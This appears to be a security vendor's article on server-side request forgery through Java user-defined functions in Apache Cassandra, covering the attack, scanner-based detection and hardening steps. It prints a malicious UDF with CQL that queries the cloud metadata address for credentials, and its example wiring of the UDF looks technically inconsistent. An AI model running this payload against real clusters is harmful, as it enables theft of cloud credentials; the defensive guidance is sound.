Ssrf Server Side in Cassandra
How SSRF Server Side Manifests in Cassandra
Apache Cassandra does not make outbound HTTP requests by default, but its extensibility features can be abused to turn the database into a SSRF vector. The most common path is through User‑Defined Functions (UDFs) written in Java. When the enable_user_defined_functions flag in cassandra.yaml is set to true (the default in many older distributions) and no Java SecurityManager is in place, a privileged attacker who can execute CQL can create a UDF that opens arbitrary URLs via java.net.HttpURLConnection.
Typical attack flow:
- Attacker gains access to the Cassandra native protocol (port 9042) – often because authentication is disabled or weak credentials are used.
- They create a Java UDF that takes a string argument, treats it as a URL, performs an HTTP GET, and returns the response.
- The UDF is invoked from a SELECT statement, causing the Cassandra node to issue an outbound request to an internal service (e.g., metadata API, internal admin panel).
- The response is returned to the attacker, exposing internal data or enabling further pivoting.
Example of a malicious UDF (Java):
import java.net.HttpURLConnection;
import java.net.URL;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class SsrfUDF {
public static String fetch(String target) throws Exception {
URL url = new URL(target);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
StringBuilder resp = new StringBuilder();
String line;
while ((line = in.readLine()) != null) {
resp.append(line);
}
in.close();
return resp.toString();
}
}
Corresponding CQL to register and call it:
CREATE FUNCTION ssrf_fetch(target text)
RETURNS NULL ON NULL INPUT
RETURNS text
LANGUAGE java
AS '$$ String result = SsrfUDF.fetch(target); return result; $$';
SELECT ssrf_fetch('http://169.254.169.254/latest/meta-data/') FROM system.local;
If the node can reach the instance metadata service, the attacker obtains cloud credentials. Similar patterns apply to any internal HTTP endpoint reachable from the Cassandra host.
Cassandra-Specific Detection
Detecting SSRF in Cassandra relies on observing outbound traffic triggered by malicious UDFs or other extensibility points. Because the attack is blind (the response is returned via the query), active probing is effective: the scanner supplies a unique payload that, if executed, causes the target to make an HTTP request to an externally controlled endpoint. The scanner then monitors for DNS lookups or HTTP hits on that endpoint.
middleBrick’s SSRF check performs exactly this type of active test:
- It submits a CQL snippet that attempts to invoke a function (or a prepared statement) with a user‑controlled URL parameter pointing to a unique domain generated for the scan.
- If the Cassandra instance is vulnerable and UDFs are enabled, the node will issue an outbound request to that domain.
- middleBrick’s external sensor records the request and reports a finding with evidence (timestamp, resolved IP, and the exact CQL that triggered it).
- The finding includes severity, affected endpoint, and remediation guidance.
Example CLI command to scan a Cassandra endpoint (exposed via its native protocol wrapper or a REST gateway):
middlebrick scan https://cassandra-gateway.example.com --include-ssrf
The output will contain a JSON block similar to:
{
"check": "SSRF",
"status": "failed",
"evidence": {
"triggered_url": "http://ssrf-test-1a2b3c.middlebrick.net/",
"timestamp": "2025-08-27T14:03:12Z",
"cql": "SELECT ssrf_fetch('http://ssrf-test-1a2b3c.middlebrick.net/') FROM system.local;"
},
"severity": "high",
"remediation": "Disable UDFs or enforce strict Java security policy; restrict outbound network traffic from Cassandra nodes."
}
If the scanner does not observe any outbound request, it reports the SSRF check as passed, indicating that either UDFs are disabled, the node lacks network egress, or the attack vector is not present.
Cassandra-Specific Remediation
The most reliable mitigation is to turn off the functionality that allows arbitrary Java execution within the database. In cassandra.yaml set:
enable_user_defined_functions: false
enable_scripted_user_defined_functions: false
After changing the file, restart each node (or perform a rolling restart) for the setting to take effect.
If UDFs are required for legitimate workloads, lock them down with a combination of authentication, authorization, and a strict Java SecurityManager:
- Enable an authenticator (e.g.,
PasswordAuthenticator) and a role‑based authorizer (CassandraAuthorizer) so that only privileged roles can executeCREATE FUNCTION. - Revoke the privilege from anonymous or application users:
REVOKE CREATE ON ALL FUNCTIONS FROM anonymous;
- Start the JVM with a security policy that forbids
java.net.SocketPermissionfor "connect" to external hosts, or use a custom policy that only allows connections to approved service meshes.
Network‑level controls provide defense in depth:
- Use security groups, firewalls, or VPC ACLs to deny outbound HTTP/HTTPS from Cassandra nodes to anything except approved services (e.g., monitoring endpoints).
- If cloud metadata services must be reachable, restrict access to the specific instance metadata IP and consider using IMDSv2 with token‑based authentication, which mitigates simple SSRF.
Finally, audit existing UDFs:
SELECT * FROM system_schema.functions;
Drop any untrusted or unused functions:
DROP FUNCTION IF EXISTS ssrf_fetch;
By combining configuration hardening, proper authentication/authorization, and network egress restrictions, the SSRF surface presented by Cassandra’s extensibility features is effectively eliminated.
Frequently Asked Questions
Does middleBrick need any agents or credentials to test a Cassandra endpoint for SSRF?
If I disable UDFs in cassandra.yaml, will my existing application functionality break?
CREATE FUNCTION statements before making the change.